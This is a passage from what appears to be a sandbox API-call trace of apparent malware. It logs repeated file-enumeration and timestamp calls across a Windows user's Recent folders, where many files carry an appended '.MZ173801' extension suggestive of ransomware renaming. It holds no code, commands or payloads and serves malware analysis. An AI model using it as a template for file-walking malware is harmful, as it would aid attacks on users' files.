lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.571] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfcf58e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfcf58e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98d6f6c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa37, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="45pja94adq.lnk.MZ173801", cAlternateFileName="45PJA9~1.MZ1")) returned 1 [0122.571] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.571] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.571] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfa6a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde86db20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98d6f6c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1382, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="4MEDSGumwQmrlccZ3NM.lnk.MZ173801", cAlternateFileName="4MEDSG~1.MZ1")) returned 1 [0122.571] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.571] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.571] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb2c860, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb2c860, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98d95820, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa89, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="4WaQPnQL8V4OHzH6IhlG.lnk.MZ173801", cAlternateFileName="4WAQPN~1.MZ1")) returned 1 [0122.571] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.571] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.571] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc5d360, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc5d360, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98dbb980, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x20bf, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="5luqXXleB0M8zozK.lnk.MZ173801", cAlternateFileName="5LUQXX~1.MZ1")) returned 1 [0122.571] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.571] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.571] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde821860, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde821860, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98dbb980, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x9f9, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="6 1WCRQ4l39z0.flv.lnk.MZ173801", cAlternateFileName="61WCRQ~1.MZ1")) returned 1 [0122.571] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.571] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.571] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1237c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde1237c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98e07c40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="61APk.lnk.MZ173801", cAlternateFileName="61APKL~1.MZ1")) returned 1 [0122.571] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.571] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.571] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeead4e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdeead4e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98e07c40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa4d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="6bT8WXgaafX4.lnk.MZ173801", cAlternateFileName="6BT8WX~1.MZ1")) returned 1 [0122.571] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.571] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.571] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8dff40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf6b5f20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98e53f00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xe12, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="6qa-y.lnk.MZ173801", cAlternateFileName="6QA-YL~1.MZ1")) returned 1 [0122.571] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.571] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.571] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4dba20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf774600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98e7a060, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x973, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="6sxGhE_.lnk.MZ173801", cAlternateFileName="6SXGHE~1.MZ1")) returned 1 [0122.572] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.572] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.572] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefddfe0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdefddfe0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98ec6320, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xeab, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="8exljOS5Iy8En.mkv.lnk.MZ173801", cAlternateFileName="8EXLJO~1.MZ1")) returned 1 [0122.572] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.572] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.572] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf669c60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf669c60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98ec6320, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x13bd, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="aBIuO4X i.lnk.MZ173801", cAlternateFileName="ABIUO4~1.MZ1")) returned 1 [0122.572] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.572] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.572] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa48020, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa48020, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98eec480, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Abo9IBT_wYq3F_uBufO.lnk.MZ173801", cAlternateFileName="ABO9IB~1.MZ1")) returned 1 [0122.572] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.572] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.572] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf004140, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf004140, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98f125e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1466, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="adRssK1YxaXTZ1L 7.mkv.lnk.MZ173801", cAlternateFileName="ADRSSK~1.MZ1")) returned 1 [0122.572] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.572] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.572] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8dff40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde8dff40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98f5e8a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Aei5BV-NT.lnk.MZ173801", cAlternateFileName="AEI5BV~1.MZ1")) returned 1 [0122.572] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.572] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.572] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="AutomaticDestinations", cAlternateFileName="AUTOMA~1")) returned 1 [0122.572] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.572] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.572] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0122.572] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="..", cAlternateFileName="")) returned 1 [0122.573] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdf04ec90, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="1b4dd67f29cb1962.automaticDestinations-ms", cAlternateFileName="1B4DD6~1.AUT")) returned 1 [0122.573] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0122.573] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.573] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc606a140, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc606a140, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x80e1f4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="7e4dca80246863e3.automaticDestinations-ms", cAlternateFileName="7E4DCA~1.AUT")) returned 1 [0122.573] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.573] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.573] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bce65c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce4e50, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="eb282ead62b4db87.automaticDestinations-ms", cAlternateFileName="EB282E~1.AUT")) returned 1 [0122.573] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.573] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.573] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bce65c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce4e50, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="eb282ead62b4db87.automaticDestinations-ms", cAlternateFileName="EB282E~1.AUT")) returned 0 [0122.573] GetLastError () returned 0x12 [0122.573] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0122.573] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0122.573] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0122.573] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.573] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="..", cAlternateFileName="")) returned 1 [0122.574] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.574] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.574] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xdf04ec90, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="1b4dd67f29cb1962.automaticDestinations-ms", cAlternateFileName="1B4DD6~1.AUT")) returned 1 [0122.574] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.574] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.574] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc606a140, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc606a140, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x80e1f4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="7e4dca80246863e3.automaticDestinations-ms", cAlternateFileName="7E4DCA~1.AUT")) returned 1 [0122.574] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.574] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.574] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bce65c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce4e50, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="eb282ead62b4db87.automaticDestinations-ms", cAlternateFileName="EB282E~1.AUT")) returned 1 [0122.574] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.574] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.574] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bce65c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce4e50, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="eb282ead62b4db87.automaticDestinations-ms", cAlternateFileName="EB282E~1.AUT")) returned 0 [0122.574] GetLastError () returned 0x12 [0122.574] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0122.574] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf87efa0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf87efa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98faab60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="BDN0V6S.lnk.MZ173801", cAlternateFileName="BDN0V6~1.MZ1")) returned 1 [0122.574] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.574] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.574] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedc8ca0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdedc8ca0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x98fd0cc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="BhvyHsMPz8V2JXr.ots.lnk.MZ173801", cAlternateFileName="BHVYHS~1.MZ1")) returned 1 [0122.574] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.574] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.574] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa942e0, ftCreationTime.dwHighDateTime=0x1d5e82a, 